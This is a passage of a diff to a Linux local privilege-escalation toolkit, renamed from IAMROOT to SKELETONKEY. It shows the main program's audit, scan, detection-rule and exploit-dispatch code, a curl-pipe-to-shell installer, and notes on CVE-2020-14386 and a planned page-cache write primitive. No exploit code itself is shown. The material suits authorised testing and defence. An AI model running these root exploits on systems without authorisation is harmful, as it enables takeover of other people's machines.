{"/usr/lib/snapd/snap-confine", "Ubuntu snap sandbox-escape history"},
|
||||
{NULL, NULL},
|
||||
};
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "setuid binary — review";
|
||||
for (size_t i = 0; SUSP[i].path; i++) {
|
||||
if (strcmp(line, SUSP[i].path) == 0) { note = SUSP[i].note; break; }
|
||||
}
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
char *n_esc = json_escape(note);
|
||||
fprintf(stdout, "%s{\"category\":\"setuid\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "",
|
||||
p_esc ? p_esc : "", n_esc ? n_esc : "");
|
||||
*first_json_emitted = true;
|
||||
free(p_esc); free(n_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "setuid" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Look for world-writable files inside /etc. Catches obviously-broken
|
||||
* filesystem permissions where any user can edit system config. */
|
||||
static int audit_world_writable(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
static const char *cmd =
|
||||
"find /etc -xdev -perm -0002 -type f 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "world-writable in /etc — anyone can edit";
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"world_writable\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "world_writable" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Find files with file capabilities set. cap_setuid+ep or
|
||||
* cap_dac_override+ep on a non-standard binary = potential
|
||||
* post-exploit persistence or a misconfigured capability grant. */
|
||||
static int audit_capabilities(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
/* getcap is in libcap2-bin / libcap-progs depending on distro;
|
||||
* skip cleanly if absent. */
|
||||
if (access("/sbin/getcap", X_OK) != 0
|
||||
&& access("/usr/sbin/getcap", X_OK) != 0
|
||||
&& access("/usr/bin/getcap", X_OK) != 0) {
|
||||
if (!json) {
|
||||
fprintf(stderr, "[i] audit: getcap not installed — skipping capability scan\n");
|
||||
}
|
||||
if (count_out) *count_out = 0;
|
||||
return 0;
|
||||
}
|
||||
static const char *cmd =
|
||||
"getcap -r /usr/bin /usr/sbin /bin /sbin /usr/local 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "file capability set — verify legitimacy";
|
||||
if (strstr(line, "cap_setuid+ep") || strstr(line, "cap_setgid+ep")
|
||||
|| strstr(line, "cap_dac_override+ep") || strstr(line, "cap_sys_admin+ep")) {
|
||||
note = "high-power cap+ep — privesc-equivalent if attacker-writable";
|
||||
}
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"capability\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "capability" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Check /etc/sudoers and /etc/sudoers.d for NOPASSWD entries. Many
|
||||
* setups have legit NOPASSWD for service accounts; flag and let
|
||||
* operator review. */
|
||||
static int audit_sudo_nopasswd(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
static const char *cmd =
|
||||
"grep -rIn -E '^[^#].*NOPASSWD' /etc/sudoers /etc/sudoers.d 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "sudo NOPASSWD entry — verify scope";
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"sudo\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "sudo" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_audit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
int n_setuid = 0, n_ww = 0, n_cap = 0, n_sudo = 0;
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", IAMROOT_VERSION);
|
||||
bool first = false;
|
||||
audit_setuid(&n_setuid, true, &first);
|
||||
audit_world_writable(&n_ww, true, &first);
|
||||
audit_capabilities(&n_cap, true, &first);
|
||||
audit_sudo_nopasswd(&n_sudo, true, &first);
|
||||
fprintf(stdout, "],\"summary\":{\"setuid\":%d,\"world_writable\":%d,"
|
||||
"\"capability\":%d,\"sudo_nopasswd\":%d}}\n",
|
||||
n_setuid, n_ww, n_cap, n_sudo);
|
||||
} else {
|
||||
fprintf(stdout, "%-17s %-50s %s\n", "CATEGORY", "PATH", "NOTE");
|
||||
fprintf(stdout, "%-17s %-50s %s\n", "--------", "----", "----");
|
||||
bool first = false;
|
||||
audit_setuid(&n_setuid, false, &first);
|
||||
audit_world_writable(&n_ww, false, &first);
|
||||
audit_capabilities(&n_cap, false, &first);
|
||||
audit_sudo_nopasswd(&n_sudo, false, &first);
|
||||
fprintf(stderr, "\n[*] audit summary: %d setuid, %d world-writable, "
|
||||
"%d capability-set, %d sudo NOPASSWD\n",
|
||||
n_setuid, n_ww, n_cap, n_sudo);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --module-info <name>: dump everything we know about one module.
|
||||
* Human-readable by default, JSON with --json. Includes the full
|
||||
* detection-rule text bodies for that module. */
|
||||
static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx)
|
||||
{
|
||||
const struct iamroot_module *m = iamroot_module_find(name);
|
||||
if (!m) {
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"error\":\"module not found\",\"name\":\"%s\"}\n", name);
|
||||
} else {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
if (ctx->json) {
|
||||
emit_module_json(m, true);
|
||||
fputc('\n', stdout);
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "name: %s\n", m->name);
|
||||
fprintf(stdout, "cve: %s\n", m->cve);
|
||||
fprintf(stdout, "family: %s\n", m->family);
|
||||
fprintf(stdout, "kernel_range: %s\n", m->kernel_range);
|
||||
fprintf(stdout, "summary: %s\n", m->summary);
|
||||
fprintf(stdout, "operations: %s%s%s%s\n",
|
||||
m->detect ? "detect " : "",
|
||||
m->exploit ? "exploit " : "",
|
||||
m->mitigate ? "mitigate " : "",
|
||||
m->cleanup ? "cleanup " : "");
|
||||
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
||||
m->detect_auditd ? "auditd " : "",
|
||||
m->detect_sigma ? "sigma " : "",
|
||||
m->detect_yara ? "yara " : "",
|
||||
m->detect_falco ? "falco " : "");
|
||||
if (m->detect_auditd) {
|
||||
fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
|
||||
}
|
||||
if (m->detect_sigma) {
|
||||
fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_scan(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
int worst = 0;
|
||||
size_t n = iamroot_module_count();
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] iamroot scan: %zu module(s) registered\n", n);
|
||||
} else {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
||||
}
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
if (m->detect == NULL) continue;
|
||||
iamroot_result_t r = m->detect(ctx);
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "%s{\"name\":\"%s\",\"cve\":\"%s\",\"result\":\"%s\"}",
|
||||
(i == 0 ? "" : ","), m->name, m->cve, result_str(r));
|
||||
} else {
|
||||
fprintf(stdout, "[%s] %-20s %-18s %s\n",
|
||||
result_str(r), m->name, m->cve, m->summary);
|
||||
}
|
||||
/* track worst (highest) result code as overall exit */
|
||||
if ((int)r > worst) worst = (int)r;
|
||||
}
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "]}\n");
|
||||
}
|
||||
return worst;
|
||||
}
|
||||
|
||||
/* Dump detection rules for every registered module in the requested
|
||||
* format. Modules that don't ship a rule for that format are simply
|
||||
* skipped (no error). Output goes to stdout so it can be redirected
|
||||
* straight into /etc/audit/rules.d/, the SIEM, etc. */
|
||||
static int cmd_detect_rules(enum detect_format fmt)
|
||||
{
|
||||
static const char *fmt_names[] = {
|
||||
[FMT_AUDITD] = "auditd",
|
||||
[FMT_SIGMA] = "sigma",
|
||||
[FMT_YARA] = "yara",
|
||||
[FMT_FALCO] = "falco",
|
||||
};
|
||||
size_t n = iamroot_module_count();
|
||||
fprintf(stdout, "# IAMROOT detection rules — format: %s\n", fmt_names[fmt]);
|
||||
fprintf(stdout, "# Generated from %zu registered modules\n", n);
|
||||
fprintf(stdout, "# AUTHORIZED-TESTING tool; see docs/ETHICS.md\n\n");
|
||||
/* Dedup by pointer: family-shared rule strings (e.g. all 5
|
||||
* copy_fail_family modules share one auditd rule string) would
|
||||
* otherwise emit identical blocks once per module. */
|
||||
const char *seen[64] = {0};
|
||||
size_t n_seen = 0;
|
||||
int emitted = 0;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
const char *rules = NULL;
|
||||
switch (fmt) {
|
||||
case FMT_AUDITD: rules = m->detect_auditd; break;
|
||||
case FMT_SIGMA: rules = m->detect_sigma; break;
|
||||
case FMT_YARA: rules = m->detect_yara; break;
|
||||
case FMT_FALCO: rules = m->detect_falco; break;
|
||||
}
|
||||
if (rules == NULL) continue;
|
||||
/* Already emitted? */
|
||||
bool dup = false;
|
||||
for (size_t k = 0; k < n_seen; k++) {
|
||||
if (seen[k] == rules) { dup = true; break; }
|
||||
}
|
||||
if (dup) {
|
||||
fprintf(stdout, "# === %s (%s) — see family rules above ===\n\n",
|
||||
m->name, m->cve);
|
||||
continue;
|
||||
}
|
||||
if (n_seen < sizeof(seen)/sizeof(seen[0])) seen[n_seen++] = rules;
|
||||
fprintf(stdout, "# === %s (%s) ===\n", m->name, m->cve);
|
||||
fputs(rules, stdout);
|
||||
fputc('\n', stdout);
|
||||
emitted++;
|
||||
}
|
||||
fprintf(stderr, "[*] emitted detection rules for %d / %zu module(s) (format: %s)\n",
|
||||
emitted, n, fmt_names[fmt]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_one(const struct iamroot_module *m, const char *op,
|
||||
const struct iamroot_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t (*fn)(const struct iamroot_ctx *) = NULL;
|
||||
if (strcmp(op, "exploit") == 0) fn = m->exploit;
|
||||
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
|
||||
else if (strcmp(op, "cleanup") == 0) fn = m->cleanup;
|
||||
|
||||
if (fn == NULL) {
|
||||
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
|
||||
return 1;
|
||||
}
|
||||
iamroot_result_t r = fn(ctx);
|
||||
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
|
||||
return (int)r;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
/* Bring up the module registry. As new families land, add their
|
||||
* register_* call here. */
|
||||
iamroot_register_copy_fail_family();
|
||||
iamroot_register_dirty_pipe();
|
||||
iamroot_register_entrybleed();
|
||||
iamroot_register_pwnkit();
|
||||
iamroot_register_nf_tables();
|
||||
iamroot_register_overlayfs();
|
||||
iamroot_register_cls_route4();
|
||||
iamroot_register_dirty_cow();
|
||||
iamroot_register_ptrace_traceme();
|
||||
iamroot_register_netfilter_xtcompat();
|
||||
iamroot_register_af_packet();
|
||||
iamroot_register_fuse_legacy();
|
||||
iamroot_register_stackrot();
|
||||
iamroot_register_af_packet2();
|
||||
iamroot_register_cgroup_release_agent();
|
||||
iamroot_register_overlayfs_setuid();
|
||||
|
||||
enum mode mode = MODE_SCAN;
|
||||
struct iamroot_ctx ctx = {0};
|
||||
const char *target = NULL;
|
||||
int i_know = 0;
|
||||
|
||||
enum detect_format dr_fmt = FMT_AUDITD;
|
||||
static struct option longopts[] = {
|
||||
{"scan", no_argument, 0, 'S'},
|
||||
{"list", no_argument, 0, 'L'},
|
||||
{"exploit", required_argument, 0, 'E'},
|
||||
{"mitigate", required_argument, 0, 'M'},
|
||||
{"cleanup", required_argument, 0, 'C'},
|
||||
{"detect-rules", no_argument, 0, 'D'},
|
||||
{"module-info", required_argument, 0, 'I'},
|
||||
{"audit", no_argument, 0, 'A'},
|
||||
{"format", required_argument, 0, 6 },
|
||||
{"i-know", no_argument, 0, 1 },
|
||||
{"active", no_argument, 0, 2 },
|
||||
{"no-shell", no_argument, 0, 3 },
|
||||
{"json", no_argument, 0, 4 },
|
||||
{"no-color", no_argument, 0, 5 },
|
||||
{"version", no_argument, 0, 'V'},
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0, 0, 0, 0}
|
||||
};
|
||||
|
||||
int c, opt_idx;
|
||||
while ((c = getopt_long(argc, argv, "SLDAE:M:C:I:Vh", longopts, &opt_idx)) != -1) {
|
||||
switch (c) {
|
||||
case 'S': mode = MODE_SCAN; break;
|
||||
case 'L': mode = MODE_LIST; break;
|
||||
case 'D': mode = MODE_DETECT_RULES; break;
|
||||
case 'A': mode = MODE_AUDIT; break;
|
||||
case 'I': mode = MODE_MODULE_INFO; target = optarg; break;
|
||||
case 'E': mode = MODE_EXPLOIT; target = optarg; break;
|
||||
case 'M': mode = MODE_MITIGATE; target = optarg; break;
|
||||
case 'C': mode = MODE_CLEANUP; target = optarg; break;
|
||||
case 1 : i_know = 1; ctx.authorized = true; break;
|
||||
case 2 : ctx.active_probe = true; break;
|
||||
case 3 : ctx.no_shell = true; break;
|
||||
case 4 : ctx.json = true; break;
|
||||
case 5 : ctx.no_color = true; break;
|
||||
case 6 :
|
||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||
else if (strcmp(optarg, "yara") == 0) dr_fmt = FMT_YARA;
|
||||
else if (strcmp(optarg, "falco") == 0) dr_fmt = FMT_FALCO;
|
||||
else { fprintf(stderr, "[-] unknown --format: %s\n", optarg); return 1; }
|
||||
break;
|
||||
case 'V': printf("iamroot %s\n", IAMROOT_VERSION); return 0;
|
||||
case 'h': mode = MODE_HELP; break;
|
||||
default: usage(argv[0]); return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (mode == MODE_HELP) {
|
||||
fputs(BANNER, stderr);
|
||||
usage(argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (!ctx.json) fputs(BANNER, stderr);
|
||||
|
||||
if (mode == MODE_SCAN) return cmd_scan(&ctx);
|
||||
if (mode == MODE_LIST) return cmd_list(&ctx);
|
||||
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
|
||||
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
|
||||
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
|
||||
|
||||
/* --exploit / --mitigate / --cleanup all take a target */
|
||||
if (target == NULL) {
|
||||
fprintf(stderr, "[-] mode requires a module name\n");
|
||||
return 1;
|
||||
}
|
||||
const struct iamroot_module *m = iamroot_module_find(target);
|
||||
if (m == NULL) {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", target);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mode == MODE_EXPLOIT) {
|
||||
if (!i_know) {
|
||||
fprintf(stderr,
|
||||
"[-] --exploit requires --i-know. This will attempt to gain\n"
|
||||
" root and corrupt /etc/passwd in the page cache.\n"
|
||||
" Authorized testing only. See docs/ETHICS.md.\n");
|
||||
return 1;
|
||||
}
|
||||
return cmd_one(m, "exploit", &ctx);
|
||||
}
|
||||
if (mode == MODE_MITIGATE) return cmd_one(m, "mitigate", &ctx);
|
||||
if (mode == MODE_CLEANUP) return cmd_one(m, "cleanup", &ctx);
|
||||
|
||||
usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
+56
-33
@@ -1,50 +1,73 @@
|
||||
#!/usr/bin/env bash
|
||||
# IAMROOT one-shot installer.
|
||||
# SKELETONKEY one-shot installer.
|
||||
#
|
||||
# Usage:
|
||||
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
||||
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
#
|
||||
# Or with explicit version:
|
||||
# IAMROOT_VERSION=v0.1.0 curl ... | sh
|
||||
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
|
||||
#
|
||||
# Or install to a different prefix:
|
||||
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
|
||||
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
|
||||
#
|
||||
# Environment:
|
||||
# IAMROOT_VERSION release tag (default: latest)
|
||||
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
|
||||
# SKELETONKEY_VERSION release tag (default: latest)
|
||||
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 — installed successfully
|
||||
# 1 — error (unsupported arch, download failure, permission denied)
|
||||
|
||||
set -euo pipefail
|
||||
# POSIX-friendly: -eu is universal, pipefail only on shells that
|
||||
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
|
||||
# installer still exits on the first hard error since every curl/
|
||||
# tar/install step is checked explicitly.
|
||||
set -eu
|
||||
(set -o pipefail) 2>/dev/null && set -o pipefail || true
|
||||
|
||||
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
|
||||
VERSION="${IAMROOT_VERSION:-latest}"
|
||||
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||
|
||||
# Detect architecture
|
||||
# Detect architecture. Default to the musl-static binary on both
|
||||
# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
|
||||
# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
|
||||
# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
|
||||
# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
|
||||
# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
|
||||
# 24.04 / Debian 13 / RHEL 10).
|
||||
arch=$(uname -m)
|
||||
case "$arch" in
|
||||
x86_64|amd64) target=x86_64 ;;
|
||||
aarch64|arm64) target=arm64 ;;
|
||||
x86_64|amd64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=x86_64
|
||||
else
|
||||
target=x86_64-static
|
||||
fi
|
||||
;;
|
||||
aarch64|arm64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=arm64
|
||||
else
|
||||
target=arm64-static
|
||||
fi
|
||||
;;
|
||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||
esac
|
||||
log "detected arch: $target"
|
||||
|
||||
# Resolve version → download URL
|
||||
if [ "$VERSION" = "latest" ]; then
|
||||
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
|
||||
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
|
||||
else
|
||||
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
|
||||
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
|
||||
fi
|
||||
log "downloading from: $url"
|
||||
|
||||
@@ -56,18 +79,18 @@ fi
|
||||
tmp=$(mktemp -d)
|
||||
trap 'rm -rf "$tmp"' EXIT
|
||||
|
||||
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
|
||||
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
|
||||
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
|
||||
fi
|
||||
|
||||
# Verify checksum if available
|
||||
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
|
||||
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
|
||||
# The .sha256 file has the binary's original name; normalize for our local copy
|
||||
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
|
||||
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
|
||||
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
|
||||
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
|
||||
else
|
||||
actual=""
|
||||
log "no sha256sum/shasum available — skipping checksum verification"
|
||||
@@ -83,17 +106,17 @@ else
|
||||
log "no checksum file at $sha_url — skipping verification"
|
||||
fi
|
||||
|
||||
chmod +x "$tmp/iamroot"
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/iamroot"
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/iamroot" "$target_path"
|
||||
mv "$tmp/skeletonkey" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/iamroot" "$target_path"
|
||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
|
||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||
fi
|
||||
|
||||
ok "installed: $target_path"
|
||||
@@ -104,10 +127,10 @@ cat >&2 <<EOF
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo iamroot --scan # what's this box vulnerable to?
|
||||
sudo iamroot --audit # broader system hygiene
|
||||
sudo iamroot --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
|
||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||
sudo skeletonkey --audit # broader system hygiene
|
||||
sudo skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||
|
||||
See \`iamroot --help\` for all commands.
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -1,27 +0,0 @@
|
||||
# Fragnesia — CVE pending
|
||||
|
||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
||||
> Phase 7+.
|
||||
|
||||
## Summary
|
||||
|
||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
||||
into the page cache of an unrelated file. Same primitive shape as
|
||||
Dirty Frag, different reach.
|
||||
|
||||
## Status
|
||||
|
||||
Audit-stage. See
|
||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
||||
section on backup primitives. Notably: trigger appears to require
|
||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
||||
reachable.
|
||||
|
||||
## Decision needed before implementing
|
||||
|
||||
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
|
||||
yes, this module ships. If we restrict to "default Linux user
|
||||
account, no namespace tricks," this module is out of scope.
|
||||
|
||||
## Not started.
|
||||
@@ -0,0 +1,28 @@
|
||||
# NOTICE — af_packet2 (CVE-2020-14386)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2020-14386** — AF_PACKET `tpacket_rcv` VLAN integer underflow
|
||||
(`maclen = skb_network_offset(skb)` when network header precedes
|
||||
maclen) → 8-byte heap OOB write at the start of the next slab object.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Or Cohen** (Palo Alto Networks),
|
||||
September 2020.
|
||||
|
||||
Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
|
||||
|
||||
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
|
||||
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
Sibling of CVE-2017-7308; same subsystem, different code path.
|
||||
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
|
||||
PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
|
||||
attempts the Or-Cohen-style sk_buff data-pointer hijack through
|
||||
the shared finisher.
|
||||
|
||||
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
|
||||
module so detection signatures dedupe cleanly.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_IAMROOT_MODULES_H
|
||||
#define AF_PACKET2_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
+285
-120
@@ -1,19 +1,32 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
||||
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
||||
* subsystem, different code path (rx side rather than ring setup),
|
||||
* later introduction. Discovered by Or Cohen (2020).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE-DEMO. The exploit() entry point reaches the
|
||||
* vulnerable codepath (tpacket_rcv) and fires the underflow with a
|
||||
* crafted nested-VLAN frame on a TPACKET_V2 ring, with a best-effort
|
||||
* skb spray groom alongside. We stop short of the full cred-overwrite
|
||||
* chain (which Or Cohen's public PoC implements with kernel-version-
|
||||
* specific offsets and a pid_namespace cross-cache overwrite). We do
|
